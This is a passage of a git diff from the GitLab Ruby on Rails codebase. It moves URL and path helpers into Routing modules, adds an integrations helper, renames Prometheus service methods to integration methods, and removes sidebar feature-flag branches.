- def gitlab_snippet_notes_path(snippet, *args)
- new_args = snippet_query_params(snippet, *args)
- snippet_notes_path(snippet, *new_args)
- end
-
- def gitlab_snippet_notes_url(snippet, *args)
- new_args = snippet_query_params(snippet, *args)
- snippet_notes_url(snippet, *new_args)
- end
-
- def gitlab_snippet_note_path(snippet, note, *args)
- new_args = snippet_query_params(snippet, *args)
- snippet_note_path(snippet, note, *new_args)
- end
-
- def gitlab_snippet_note_url(snippet, note, *args)
- new_args = snippet_query_params(snippet, *args)
- snippet_note_url(snippet, note, *new_args)
- end
-
- def gitlab_toggle_award_emoji_snippet_note_path(snippet, note, *args)
- new_args = snippet_query_params(snippet, *args)
- toggle_award_emoji_snippet_note_path(snippet, note, *new_args)
- end
-
- def gitlab_toggle_award_emoji_snippet_note_url(snippet, note, *args)
- new_args = snippet_query_params(snippet, *args)
- toggle_award_emoji_snippet_note_url(snippet, note, *new_args)
- end
-
- def gitlab_toggle_award_emoji_snippet_path(snippet, *args)
- new_args = snippet_query_params(snippet, *args)
- toggle_award_emoji_snippet_path(snippet, *new_args)
- end
-
- def gitlab_toggle_award_emoji_snippet_url(snippet, *args)
- new_args = snippet_query_params(snippet, *args)
- toggle_award_emoji_snippet_url(snippet, *new_args)
- end
-
- # Wikis
-
- def wiki_path(wiki, **options)
- Gitlab::UrlBuilder.wiki_url(wiki, only_path: true, **options)
- end
-
- def wiki_page_path(wiki, page, **options)
- Gitlab::UrlBuilder.wiki_page_url(wiki, page, only_path: true, **options)
- end
-
- # GraphQL ETag routes
- def graphql_etag_pipeline_path(pipeline)
- [api_graphql_path, "pipelines/id/#{pipeline.id}"].join(':')
- end
-
- def graphql_etag_pipeline_sha_path(sha)
- [api_graphql_path, "pipelines/sha/#{sha}"].join(':')
- end
-
- private
-
- def snippet_query_params(snippet, *args)
- opts = case args.last
- when Hash
- args.pop
- when ActionController::Parameters
- args.pop.to_h
- else
- {}
- end
-
- args << opts
- end
end
GitlabRoutingHelper.include_mod_with('GitlabRoutingHelper')
diff --git a/app/helpers/groups_helper.rb b/app/helpers/groups_helper.rb
index 26a5df321cd..400ad721b06 100644
--- a/app/helpers/groups_helper.rb
+++ b/app/helpers/groups_helper.rb
@@ -5,15 +5,9 @@ module GroupsHelper
%w[
groups#activity
groups#subgroups
- ].tap do |paths|
- extra_routes = if sidebar_refactor_disabled?
- ['groups#show', 'groups#details']
- else
- ['labels#index', 'group_members#index']
- end
-
- paths.concat(extra_routes)
- end
+ labels#index
+ group_members#index
+ ]
end
def group_settings_nav_link_paths
@@ -45,11 +39,7 @@ module GroupsHelper
end
def group_information_title(group)
- if Feature.enabled?(:sidebar_refactor, current_user, default_enabled: :yaml)
- group.subgroup? ? _('Subgroup information') : _('Group information')
- else
- group.subgroup? ? _('Subgroup overview') : _('Group overview')
- end
+ group.subgroup? ? _('Subgroup information') : _('Group information')
end
def group_container_registry_nav?
diff --git a/app/helpers/integrations_helper.rb b/app/helpers/integrations_helper.rb
new file mode 100644
index 00000000000..ab305d822e8
--- /dev/null
+++ b/app/helpers/integrations_helper.rb
@@ -0,0 +1,210 @@
+# frozen_string_literal: true
+
+module IntegrationsHelper
+ def integration_event_description(integration, event)
+ case integration
+ when Integrations::Jira
+ jira_integration_event_description(event)
+ when Integrations::Teamcity
+ teamcity_integration_event_description(event)
+ else
+ default_integration_event_description(event)
+ end
+ end
+
+ def integration_event_field_name(event)
+ event = event.pluralize if %w[merge_request issue confidential_issue].include?(event)
+ "#{event}_events"
+ end
+
+ def scoped_integrations_path
+ if @project.present?
+ project_settings_integrations_path(@project)
+ elsif @group.present?
+ group_settings_integrations_path(@group)
+ else
+ integrations_admin_application_settings_path
+ end
+ end
+
+ def scoped_integration_path(integration)
+ if @project.present?
+ project_service_path(@project, integration)
+ elsif @group.present?
+ group_settings_integration_path(@group, integration)
+ else
+ admin_application_settings_integration_path(integration)
+ end
+ end
+
+ def scoped_edit_integration_path(integration)
+ if @project.present?
+ edit_project_service_path(@project, integration)
+ elsif @group.present?
+ edit_group_settings_integration_path(@group, integration)
+ else
+ edit_admin_application_settings_integration_path(integration)
+ end
+ end
+
+ def scoped_test_integration_path(integration)
+ if @project.present?
+ test_project_service_path(@project, integration)
+ elsif @group.present?
+ test_group_settings_integration_path(@group, integration)
+ else
+ test_admin_application_settings_integration_path(integration)
+ end
+ end
+
+ def scoped_reset_integration_path(integration, group: nil)
+ return '' unless integration.persisted?
+
+ if group.present?
+ reset_group_settings_integration_path(group, integration)
+ else
+ reset_admin_application_settings_integration_path(integration)
+ end
+ end
+
+ def integration_form_data(integration, group: nil)
+ form_data = {
+ id: integration.id,
+ show_active: integration.show_active_box?.to_s,
+ activated: (integration.active || integration.new_record?).to_s,
+ type: integration.to_param,
+ merge_request_events: integration.merge_requests_events.to_s,
+ commit_events: integration.commit_events.to_s,
+ enable_comments: integration.comment_on_event_enabled.to_s,
+ comment_detail: integration.comment_detail,
+ learn_more_path: integrations_help_page_path,
+ trigger_events: trigger_events_for_integration(integration),
+ fields: fields_for_integration(integration),
+ inherit_from_id: integration.inherit_from_id,
+ integration_level: integration_level(integration),
+ editable: integration.editable?.to_s,
+ cancel_path: scoped_integrations_path,
+ can_test: integration.testable?.to_s,
+ test_path: scoped_test_integration_path(integration),
+ reset_path: scoped_reset_integration_path(integration, group: group)
+ }
+
+ if integration.is_a?(Integrations::Jira)
+ form_data[:jira_issue_transition_automatic] = integration.jira_issue_transition_automatic
+ form_data[:jira_issue_transition_id] = integration.jira_issue_transition_id
+ end
+
+ form_data
+ end
+
+ def integration_list_data(integrations)
+ {
+ integrations: integrations.map { |i| serialize_integration(i) }.to_json
+ }
+ end
+
+ def integrations_help_page_path
+ help_page_path('user/admin_area/settings/project_integration_management')
+ end
+
+ def project_jira_issues_integration?
+ false
+ end
+
+ def instance_level_integrations?
+ !Gitlab.com?
+ end
+
+ def jira_issue_breadcrumb_link(issue_reference)
+ link_to '', { class: 'gl-display-flex gl-align-items-center gl-white-space-nowrap' } do
+ icon = image_tag image_path('illustrations/logos/jira.svg'), width: 15, height: 15, class: 'gl-mr-2'
+ [icon, issue_reference].join.html_safe
+ end
+ end
+
+ extend self
+
+ private
+
+ def jira_integration_event_description(event)
+ case event
+ when "merge_request", "merge_request_events"
+ s_("JiraService|Jira comments are created when an issue is referenced in a merge request.")
+ when "commit", "commit_events"
+ s_("JiraService|Jira comments are created when an issue is referenced in a commit.")
+ end
+ end
+
+ def teamcity_integration_event_description(event)
+ case event
+ when 'push', 'push_events'
+ s_('TeamcityIntegration|Trigger TeamCity CI after every push to the repository, except branch delete')
+ when 'merge_request', 'merge_request_events'
+ s_('TeamcityIntegration|Trigger TeamCity CI after a merge request has been created or updated')
+ end
+ end
+
+ def default_integration_event_description(event)
+ case event
+ when "push", "push_events"
+ s_("ProjectService|Trigger event for pushes to the repository.")
+ when "tag_push", "tag_push_events"
+ s_("ProjectService|Trigger event for new tags pushed to the repository.")
+ when "note", "note_events"
+ s_("ProjectService|Trigger event for new comments.")
+ when "confidential_note", "confidential_note_events"
+ s_("ProjectService|Trigger event for new comments on confidential issues.")
+ when "issue", "issue_events"
+ s_("ProjectService|Trigger event when an issue is created, updated, or closed.")
+ when "confidential_issue", "confidential_issue_events"
+ s_("ProjectService|Trigger event when a confidential issue is created, updated, or closed.")
+ when "merge_request", "merge_request_events"
+ s_("ProjectService|Trigger event when a merge request is created, updated, or merged.")
+ when "pipeline", "pipeline_events"
+ s_("ProjectService|Trigger event when a pipeline status changes.")
+ when "wiki_page", "wiki_page_events"
+ s_("ProjectService|Trigger event when a wiki page is created or updated.")
+ when "commit", "commit_events"
+ s_("ProjectService|Trigger event when a commit is created or updated.")
+ when "deployment"
+ s_("ProjectService|Trigger event when a deployment starts or finishes.")
+ when "alert"
+ s_("ProjectService|Trigger event when a new, unique alert is recorded.")
+ end
+ end
+
+ def trigger_events_for_integration(integration)
+ ServiceEventSerializer.new(service: integration).represent(integration.configurable_events).to_json
+ end
+
+ def fields_for_integration(integration)
+ ServiceFieldSerializer.new(service: integration).represent(integration.global_fields).to_json
+ end
+
+ def integration_level(integration)
+ if integration.instance_level?
+ 'instance'
+ elsif integration.group_level?
+ 'group'
+ else
+ 'project'
+ end
+ end
+
+ def serialize_integration(integration)
+ {
+ active: integration.operating?,
+ title: integration.title,
+ description: integration.description,
+ updated_at: integration.updated_at,
+ edit_path: scoped_edit_integration_path(integration),
+ name: integration.to_param
+ }
+ end
+end
+
+IntegrationsHelper.prepend_mod_with('IntegrationsHelper')
+
+# The methods in `EE::IntegrationsHelper` should be available as both instance and
+# class methods.
+IntegrationsHelper.extend_mod_with('IntegrationsHelper')
diff --git a/app/helpers/issuables_helper.rb b/app/helpers/issuables_helper.rb
index c40feb42eea..d8ba530f3f6 100644
--- a/app/helpers/issuables_helper.rb
+++ b/app/helpers/issuables_helper.rb
@@ -425,6 +425,15 @@ module IssuablesHelper
}
end
+ def sidebar_status_data(issuable_sidebar, project)
+ {
+ iid: issuable_sidebar[:iid],
+ issuable_type: issuable_sidebar[:type],
+ full_path: project.full_path,
+ can_edit: issuable_sidebar.dig(:current_user, :can_edit).to_s
+ }
+ end
+
def parent
@project || @group
end
diff --git a/app/helpers/issues_helper.rb b/app/helpers/issues_helper.rb
index 7690773354f..5bedfc61d46 100644
--- a/app/helpers/issues_helper.rb
+++ b/app/helpers/issues_helper.rb
@@ -181,7 +181,6 @@ module IssuesHelper
def issues_list_data(project, current_user, finder)
{
- autocomplete_users_path: autocomplete_users_path(active: true, current_user: true, project_id: project.id, format: :json),
autocomplete_award_emojis_path: autocomplete_award_emojis_path,
calendar_path: url_for(safe_params.merge(calendar_url_options)),
can_bulk_update: can?(current_user, :admin_issue, project).to_s,
@@ -201,8 +200,6 @@ module IssuesHelper
max_attachment_size: number_to_human_size(Gitlab::CurrentSettings.max_attachment_size.megabytes),
new_issue_path: new_project_issue_path(project, issue: { milestone_id: finder.milestones.first.try(:id) }),
project_import_jira_path: project_import_jira_path(project),
- project_labels_path: project_labels_path(project, include_ancestor_groups: true, format: :json),
- project_milestones_path: project_milestones_path(project, format: :json),
project_path: project.full_path,
quick_actions_help_path: help_page_path('user/project/quick_actions'),
reset_path: new_issuable_address_project_path(project, issuable_type: 'issue'),
diff --git a/app/helpers/namespaces_helper.rb b/app/helpers/namespaces_helper.rb
index 39a8f506ba2..106df168080 100644
--- a/app/helpers/namespaces_helper.rb
+++ b/app/helpers/namespaces_helper.rb
@@ -56,10 +56,6 @@ module NamespacesHelper
namespaces_options(selected, **options)
end
- def cascading_namespace_settings_enabled?
- NamespaceSetting.cascading_settings_feature_enabled?
- end
-
def cascading_namespace_settings_popover_data(attribute, group, settings_path_helper)
locked_by_ancestor = group.namespace_settings.public_send("#{attribute}_locked_by_ancestor?") # rubocop:disable GitlabSecurity/PublicSend
diff --git a/app/helpers/nav/new_dropdown_helper.rb b/app/helpers/nav/new_dropdown_helper.rb
index b952aeacb13..ff8839d68fd 100644
--- a/app/helpers/nav/new_dropdown_helper.rb
+++ b/app/helpers/nav/new_dropdown_helper.rb
@@ -21,13 +21,6 @@ module Nav
}
end
- def new_repo_experiment_text
- experiment(:new_repo, user: current_user) do |e|
- e.use { _('New project') }
- e.try { _('New project/repository') }
- end.run
- end
-
private
def group_menu_section(group)
@@ -37,9 +30,9 @@ module Nav
menu_items.push(
::Gitlab::Nav::TopNavMenuItem.build(
id: 'new_project',
- title: new_repo_experiment_text,
+ title: _('New project/repository'),
href: new_project_path(namespace_id: group.id),
- data: { track_experiment: 'new_repo', track_event: 'click_link_new_project_group', track_label: 'plus_menu_dropdown' }
+ data: { track_event: 'click_link_new_project_group', track_label: 'plus_menu_dropdown' }
)
)
end
@@ -129,9 +122,9 @@ module Nav
menu_items.push(
::Gitlab::Nav::TopNavMenuItem.build(
id: 'general_new_project',
- title: new_repo_experiment_text,
+ title: _('New project/repository'),
href: new_project_path,
- data: { track_experiment: 'new_repo', track_event: 'click_link_new_project', track_label: 'plus_menu_dropdown', qa_selector: 'global_new_project_link' }
+ data: { track_event: 'click_link_new_project', track_label: 'plus_menu_dropdown', qa_selector: 'global_new_project_link' }
)
)
end
diff --git a/app/helpers/nav/top_nav_helper.rb b/app/helpers/nav/top_nav_helper.rb
index b8ddb932b73..052b8339ebd 100644
--- a/app/helpers/nav/top_nav_helper.rb
+++ b/app/helpers/nav/top_nav_helper.rb
@@ -22,7 +22,7 @@ module Nav
new_view_model = new_dropdown_view_model(project: project, group: group)
- if new_view_model
+ if new_view_model && new_view_model.fetch(:menu_sections)&.any?
builder.add_view(NEW_VIEW, new_view_model)
end
@@ -98,7 +98,7 @@ module Nav
builder.add_primary_menu_item_with_shortcut(
active: nav == 'project' || active_nav_link?(path: %w[root#index projects#trending projects#starred dashboard/projects#index]),
css_class: 'qa-projects-dropdown',
- data: { track_label: "projects_dropdown", track_event: "click_dropdown", track_experiment: "new_repo" },
+ data: { track_label: "projects_dropdown", track_event: "click_dropdown" },
view: PROJECTS_VIEW,
shortcut_href: dashboard_projects_path,
**projects_menu_item_attrs
diff --git a/app/helpers/nav_helper.rb b/app/helpers/nav_helper.rb
index b5171dfbebd..6c57a31f3db 100644
--- a/app/helpers/nav_helper.rb
+++ b/app/helpers/nav_helper.rb
@@ -64,7 +64,7 @@ module NavHelper
end
def admin_analytics_nav_links
- %w(dev_ops_report)
+ %w(dev_ops_report usage_trends)
end
def group_issues_sub_menu_items
@@ -73,9 +73,7 @@ module NavHelper
milestones#index
boards#index
boards#show
- ].tap do |paths|
- paths << 'labels#index' if Feature.disabled?(:sidebar_refactor, current_user, default_enabled: :yaml)
- end
+ ]
end
private
diff --git a/app/helpers/operations_helper.rb b/app/helpers/operations_helper.rb
index fb410c46128..5d2f225edcf 100644
--- a/app/helpers/operations_helper.rb
+++ b/app/helpers/operations_helper.rb
@@ -2,10 +2,11 @@
module OperationsHelper
include Gitlab::Utils::StrongMemoize
+ include IntegrationsHelper
- def prometheus_service
- strong_memoize(:prometheus_service) do
- @project.find_or_initialize_service(::PrometheusService.to_param)
+ def prometheus_integration
+ strong_memoize(:prometheus_integration) do
+ @project.find_or_initialize_integration(::Integrations::Prometheus.to_param)
end
end
@@ -14,11 +15,11 @@ module OperationsHelper
templates = setting.available_issue_templates.map { |t| { key: t.key, name: t.name } }
{
- 'prometheus_activated' => prometheus_service.manual_configuration?.to_s,
- 'prometheus_form_path' => scoped_integration_path(prometheus_service),
+ 'prometheus_activated' => prometheus_integration.manual_configuration?.to_s,
+ 'prometheus_form_path' => scoped_integration_path(prometheus_integration),
'prometheus_reset_key_path' => reset_alerting_token_project_settings_operations_path(@project),
'prometheus_authorization_key' => @project.alerting_setting&.token,
- 'prometheus_api_url' => prometheus_service.api_url,
+ 'prometheus_api_url' => prometheus_integration.api_url,
'prometheus_url' => notify_project_prometheus_alerts_url(@project, format: :json),
'alerts_setup_url' => help_page_path('operations/incident_management/integrations.md', anchor: 'configuration'),
'alerts_usage_url' => project_alert_management_index_path(@project),
diff --git a/app/helpers/packages_helper.rb b/app/helpers/packages_helper.rb
index fe41c041b4f..50984415aa5 100644
--- a/app/helpers/packages_helper.rb
+++ b/app/helpers/packages_helper.rb
@@ -57,10 +57,35 @@ module PackagesHelper
def show_cleanup_policy_on_alert(project)
Gitlab.com? &&
Gitlab.config.registry.enabled &&
- project.container_registry_enabled &&
+ project.feature_available?(:container_registry, current_user) &&
!Gitlab::CurrentSettings.container_expiration_policies_enable_historic_entries &&
Feature.enabled?(:container_expiration_policies_historic_entry, project) &&
project.container_expiration_policy.nil? &&
project.container_repositories.exists?
end
+
+ def package_details_data(project, package = nil)
+ {
+ package: package ? package_from_presenter(package) : nil,
+ can_delete: can?(current_user, :destroy_package, project).to_s,
+ svg_path: image_path('illustrations/no-packages.svg'),
+ npm_path: package_registry_instance_url(:npm),
+ npm_help_path: help_page_path('user/packages/npm_registry/index'),
+ maven_path: package_registry_project_url(project.id, :maven),
+ maven_help_path: help_page_path('user/packages/maven_repository/index'),
+ conan_path: package_registry_project_url(project.id, :conan),
+ conan_help_path: help_page_path('user/packages/conan_repository/index'),
+ nuget_path: nuget_package_registry_url(project.id),
+ nuget_help_path: help_page_path('user/packages/nuget_repository/index'),
+ pypi_path: pypi_registry_url(project.id),
+ pypi_setup_path: package_registry_project_url(project.id, :pypi),
+ pypi_help_path: help_page_path('user/packages/pypi_repository/index'),
+ composer_path: composer_registry_url(project&.group&.id),
+ composer_help_path: help_page_path('user/packages/composer_repository/index'),
+ project_name: project.name,
+ project_list_url: project_packages_path(project),
+ group_list_url: project.group ? group_packages_path(project.group) : '',
+ composer_config_repository_name: composer_config_repository_name(project.group&.id)
+ }
+ end
end
diff --git a/app/helpers/personal_access_tokens_helper.rb b/app/helpers/personal_access_tokens_helper.rb
new file mode 100644
index 00000000000..5cc8d21096f
--- /dev/null
+++ b/app/helpers/personal_access_tokens_helper.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module PersonalAccessTokensHelper
+ def personal_access_token_expiration_enforced?
+ false
+ end
+end
diff --git a/app/helpers/projects/alert_management_helper.rb b/app/helpers/projects/alert_management_helper.rb
index b46e3eb3bc3..b50e287a509 100644
--- a/app/helpers/projects/alert_management_helper.rb
+++ b/app/helpers/projects/alert_management_helper.rb
@@ -29,13 +29,13 @@ module Projects::AlertManagementHelper
private
def has_managed_prometheus?(project)
- project.prometheus_service&.prometheus_available? == true
+ project.prometheus_integration&.prometheus_available? == true
end
def alert_management_enabled?(project)
!!(
project.alert_management_alerts.any? ||
- project.prometheus_service_active? ||
+ project.prometheus_integration_active? ||
AlertManagement::HttpIntegrationsFinder.new(project, active: true).execute.any?
)
end
diff --git a/app/helpers/projects_helper.rb b/app/helpers/projects_helper.rb
index 8800bd0643c..752e91df9c4 100644
--- a/app/helpers/projects_helper.rb
+++ b/app/helpers/projects_helper.rb
@@ -350,6 +350,10 @@ module ProjectsHelper
nil
end
+ def show_terraform_banner?(project)
+ project.repository_languages.with_programming_language('HCL').exists? && project.terraform_states.empty?
+ end
+
private
def tab_ability_map
@@ -530,7 +534,8 @@ module ProjectsHelper
pagesAvailable: Gitlab.config.pages.enabled,
pagesAccessControlEnabled: Gitlab.config.pages.access_control,
pagesAccessControlForced: ::Gitlab::Pages.access_control_is_forced?,
- pagesHelpPath: help_page_path('user/project/pages/introduction', anchor: 'gitlab-pages-access-control')
+ pagesHelpPath: help_page_path('user/project/pages/introduction', anchor: 'gitlab-pages-access-control'),
+ issuesHelpPath: help_page_path('user/project/issues/index')
}
end
@@ -611,21 +616,6 @@ module ProjectsHelper
project.unlink_forks_upon_visibility_decrease_enabled? && project.visibility_level > Gitlab::VisibilityLevel::PRIVATE && project.forks_count > 0
end
- def settings_container_registry_expiration_policy_available?(project)
- Feature.disabled?(:sidebar_refactor, current_user, default_enabled: :yaml) &&
- can_destroy_container_registry_image?(current_user, project)
- end
-
- def settings_packages_and_registries_enabled?(project)
- Feature.enabled?(:sidebar_refactor, current_user, default_enabled: :yaml) &&
- can_destroy_container_registry_image?(current_user, project)
- end
-
- def can_destroy_container_registry_image?(current_user, project)
- Gitlab.config.registry.enabled &&
- can?(current_user, :destroy_container_image, project)
- end
-
def build_project_breadcrumb_link(project)
project_name = simple_sanitize(project.name)
diff --git a/app/helpers/registrations_helper.rb b/app/helpers/registrations_helper.rb
index 24131e32c6c..91adc36749b 100644
--- a/app/helpers/registrations_helper.rb
+++ b/app/helpers/registrations_helper.rb
@@ -1,13 +1,6 @@
# frozen_string_literal: true
module RegistrationsHelper
- def social_signin_enabled?
- ::Gitlab.dev_env_or_com? &&
- omniauth_enabled? &&
- devise_mapping.omniauthable? &&
- button_based_providers_enabled?
- end
-
def signup_username_data_attributes
{
min_length: User::MIN_USERNAME_LENGTH,
diff --git a/app/helpers/releases_helper.rb b/app/helpers/releases_helper.rb
index de9288121c4..4fa61191ba5 100644
--- a/app/helpers/releases_helper.rb
+++ b/app/helpers/releases_helper.rb
@@ -4,6 +4,10 @@ module ReleasesHelper
IMAGE_PATH = 'illustrations/releases.svg'
DOCUMENTATION_PATH = 'user/project/releases/index'
+ # This needs to be kept in sync with the constant in
+ # app/assets/javascripts/releases/constants.js
+ DEFAULT_SORT = 'RELEASED_AT_DESC'
+
def illustration
image_path(IMAGE_PATH)
end
@@ -20,15 +24,24 @@ module ReleasesHelper
documentation_path: help_page
}.tap do |data|
if can?(current_user, :create_release, @project)
- data[:new_release_path] = if Feature.enabled?(:new_release_page, @project, default_enabled: true)
- new_project_release_path(@project)
- else
- new_project_tag_path(@project)
- end
+ data[:new_release_path] = new_project_release_path(@project)
end
end
end
+ # For simplicity, only optimize non-paginated requests
+ def use_startup_query_for_index_page?
+ params[:before].nil? && params[:after].nil?
+ end
+
+ def index_page_startup_query_variables
+ {
+ fullPath: @project.full_path,
+ sort: DEFAULT_SORT,
+ first: 1
+ }
+ end
+
def data_for_show_page
{
project_id: @project.id,
diff --git a/app/helpers/routing/artifacts_helper.rb b/app/helpers/routing/artifacts_helper.rb
new file mode 100644
index 00000000000..32df9098e48
--- /dev/null
+++ b/app/helpers/routing/artifacts_helper.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+module Routing
+ module ArtifactsHelper
+ # Rails path generators are slow because they need to do large regex comparisons
+ # against the arguments. We can speed this up 10x by generating the strings directly.
+
+ # /*namespace_id/:project_id/-/jobs/:job_id/artifacts/download(.:format)
+ def fast_download_project_job_artifacts_path(project, job, params = {})
+ expose_fast_artifacts_path(project, job, :download, params)
+ end
+
+ # /*namespace_id/:project_id/-/jobs/:job_id/artifacts/keep(.:format)
+ def fast_keep_project_job_artifacts_path(project, job)
+ expose_fast_artifacts_path(project, job, :keep)
+ end
+
+ # /*namespace_id/:project_id/-/jobs/:job_id/artifacts/browse(/*path)
+ def fast_browse_project_job_artifacts_path(project, job)
+ expose_fast_artifacts_path(project, job, :browse)
+ end
+
+ def expose_fast_artifacts_path(project, job, action, params = {})
+ path = "#{project.full_path}/-/jobs/#{job.id}/artifacts/#{action}"
+
+ unless params.empty?
+ path += "?#{params.to_query}"
+ end
+
+ Gitlab::Utils.append_path(Gitlab.config.gitlab.relative_url_root, path)
+ end
+
+ def artifacts_action_path(path, project, build)
+ action, path_params = path.split('/', 2)
+ args = [project, build, path_params]
+
+ case action
+ when 'download'
+ download_project_job_artifacts_path(*args)
+ when 'browse'
+ browse_project_job_artifacts_path(*args)
+ when 'file'
+ file_project_job_artifacts_path(*args)
+ when 'raw'
+ raw_project_job_artifacts_path(*args)
+ end
+ end
+ end
+end
diff --git a/app/helpers/routing/graphql_helper.rb b/app/helpers/routing/graphql_helper.rb
new file mode 100644
index 00000000000..beefbb9b387
--- /dev/null
+++ b/app/helpers/routing/graphql_helper.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module Routing
+ module GraphqlHelper
+ def graphql_etag_pipeline_path(pipeline)
+ [api_graphql_path, "pipelines/id/#{pipeline.id}"].join(':')
+ end
+
+ def graphql_etag_pipeline_sha_path(sha)
+ [api_graphql_path, "pipelines/sha/#{sha}"].join(':')
+ end
+ end
+end
diff --git a/app/helpers/routing/groups/members_helper.rb b/app/helpers/routing/groups/members_helper.rb
new file mode 100644
index 00000000000..eabeacff1d7
--- /dev/null
+++ b/app/helpers/routing/groups/members_helper.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+module Routing
+ module Groups
+ module MembersHelper
+ def group_members_url(group, *args)
+ group_group_members_url(group, *args)
+ end
+
+ def group_member_path(group_member, *args)
+ group_group_member_path(group_member.source, group_member)
+ end
+
+ def request_access_group_members_path(group, *args)
+ request_access_group_group_members_path(group)
+ end
+
+ def leave_group_members_path(group, *args)
+ leave_group_group_members_path(group)
+ end
+
+ def approve_access_request_group_member_path(group_member, *args)
+ approve_access_request_group_group_member_path(group_member.source, group_member)
+ end
+
+ def resend_invite_group_member_path(group_member, *args)
+ resend_invite_group_group_member_path(group_member.source, group_member)
+ end
+ end
+ end
+end
diff --git a/app/helpers/routing/members_helper.rb b/app/helpers/routing/members_helper.rb
new file mode 100644
index 00000000000..18f6d06ab3b
--- /dev/null
+++ b/app/helpers/routing/members_helper.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+module Routing
+ module MembersHelper
+ def source_members_url(member)
+ case member.source_type
+ when 'Namespace'
+ group_group_members_url(member.source)
+ when 'Project'
+ project_project_members_url(member.source)
+ end
+ end
+ end
+end
diff --git a/app/helpers/routing/pipeline_schedules_helper.rb b/app/helpers/routing/pipeline_schedules_helper.rb
new file mode 100644
index 00000000000..6501018a365
--- /dev/null
+++ b/app/helpers/routing/pipeline_schedules_helper.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+module Routing
+ module PipelineSchedulesHelper
+ def pipeline_schedules_path(project, *args)
+ project_pipeline_schedules_path(project, *args)
+ end
+
+ def pipeline_schedule_path(schedule, *args)
+ project = schedule.project
+ project_pipeline_schedule_path(project, schedule, *args)
+ end
+
+ def edit_pipeline_schedule_path(schedule)
+ project = schedule.project
+ edit_project_pipeline_schedule_path(project, schedule)
+ end
+
+ def play_pipeline_schedule_path(schedule, *args)
+ project = schedule.project
+ play_project_pipeline_schedule_path(project, schedule, *args)
+ end
+
+ def take_ownership_pipeline_schedule_path(schedule, *args)
+ project = schedule.project
+ take_ownership_project_pipeline_schedule_path(project, schedule, *args)
+ end
+ end
+end
diff --git a/app/helpers/routing/projects/members_helper.rb b/app/helpers/routing/projects/members_helper.rb
new file mode 100644
index 00000000000..72f88a1408b
--- /dev/null
+++ b/app/helpers/routing/projects/members_helper.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+module Routing
+ module Projects
+ module MembersHelper
+ def project_members_url(project, *args)
+ project_project_members_url(project, *args)
+ end
+
+ def project_member_path(project_member, *args)
+ project_project_member_path(project_member.source, project_member)
+ end
+
+ def request_access_project_members_path(project, *args)
+ request_access_project_project_members_path(project)
+ end
+
+ def leave_project_members_path(project, *args)
+ leave_project_project_members_path(project)
+ end
+
+ def approve_access_request_project_member_path(project_member, *args)
+ approve_access_request_project_project_member_path(project_member.source, project_member)
+ end
+
+ def resend_invite_project_member_path(project_member, *args)
+ resend_invite_project_project_member_path(project_member.source, project_member)
+ end
+ end
+ end
+end
diff --git a/app/helpers/routing/projects_helper.rb b/app/helpers/routing/projects_helper.rb
new file mode 100644
index 00000000000..fb000b29739
--- /dev/null
+++ b/app/helpers/routing/projects_helper.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+module Routing
+ module ProjectsHelper
+ def project_tree_path(project, ref = nil, *args)
+ namespace_project_tree_path(project.namespace, project, ref || @ref || project.repository.root_ref, *args) # rubocop:disable Cop/ProjectPathHelper
+ end
+
+ def project_commits_path(project, ref = nil, *args)
+ namespace_project_commits_path(project.namespace, project, ref || @ref || project.repository.root_ref, *args) # rubocop:disable Cop/ProjectPathHelper
+ end
+
+ def project_ref_path(project, ref_name, *args)
+ project_commits_path(project, ref_name, *args)
+ end
+
+ def environment_path(environment, *args)
+ project_environment_path(environment.project, environment, *args)
+ end
+
+ def environment_metrics_path(environment, *args)
+ metrics_project_environment_path(environment.project, environment, *args)
+ end
+
+ def environment_delete_path(environment, *args)
+ expose_path(api_v4_projects_environments_path(id: environment.project.id, environment_id: environment.id))
+ end
+
+ def issue_path(entity, *args)
+ project_issue_path(entity.project, entity, *args)
+ end
+
+ def merge_request_path(entity, *args)
+ project_merge_request_path(entity.project, entity, *args)
+ end
+
+ def pipeline_path(pipeline, *args)
+ project_pipeline_path(pipeline.project, pipeline.id, *args)
+ end
+
+ def issue_url(entity, *args)
+ project_issue_url(entity.project, entity, *args)
+ end
+
+ def merge_request_url(entity, *args)
+ project_merge_request_url(entity.project, entity, *args)
+ end
+
+ def pipeline_url(pipeline, *args)
+ project_pipeline_url(pipeline.project, pipeline.id, *args)
+ end
+
+ def pipeline_job_url(pipeline, build, *args)
+ project_job_url(pipeline.project, build.id, *args)
+ end
+
+ def commits_url(entity, *args)
+ project_commits_url(entity.project, entity.source_ref, *args)
+ end
+
+ def commit_url(entity, *args)
+ project_commit_url(entity.project, entity.sha, *args)
+ end
+
+ def release_url(entity, *args)
+ project_release_url(entity.project, entity, *args)
+ end
+
+ def edit_milestone_path(entity, *args)
+ if entity.resource_parent.is_a?(Group)
+ edit_group_milestone_path(entity.resource_parent, entity, *args)
+ else
+ edit_project_milestone_path(entity.resource_parent, entity, *args)
+ end
+ end
+
+ def toggle_subscription_path(entity, *args)
+ if entity.is_a?(Issue)
+ toggle_subscription_project_issue_path(entity.project, entity)
+ else
+ toggle_subscription_project_merge_request_path(entity.project, entity)
+ end
+ end
+ end
+end
diff --git a/app/helpers/routing/snippets_helper.rb b/app/helpers/routing/snippets_helper.rb
new file mode 100644
index 00000000000..19450c1d033
--- /dev/null
+++ b/app/helpers/routing/snippets_helper.rb
@@ -0,0 +1,144 @@
+# frozen_string_literal: true
+
+module Routing
+ module SnippetsHelper
+ def gitlab_snippet_path(snippet, *args)
+ if snippet.is_a?(ProjectSnippet)
+ project_snippet_path(snippet.project, snippet, *args)
+ else
+ new_args = snippet_query_params(snippet, *args)
+ snippet_path(snippet, *new_args)
+ end
+ end
+
+ def gitlab_snippet_url(snippet, *args)
+ if snippet.is_a?(ProjectSnippet)
+ project_snippet_url(snippet.project, snippet, *args)
+ else
+ new_args = snippet_query_params(snippet, *args)
+ snippet_url(snippet, *new_args)
+ end
+ end
+
+ def gitlab_dashboard_snippets_path(snippet, *args)
+ if snippet.is_a?(ProjectSnippet)
+ project_snippets_path(snippet.project, *args)
+ else
+ dashboard_snippets_path
+ end
+ end
+
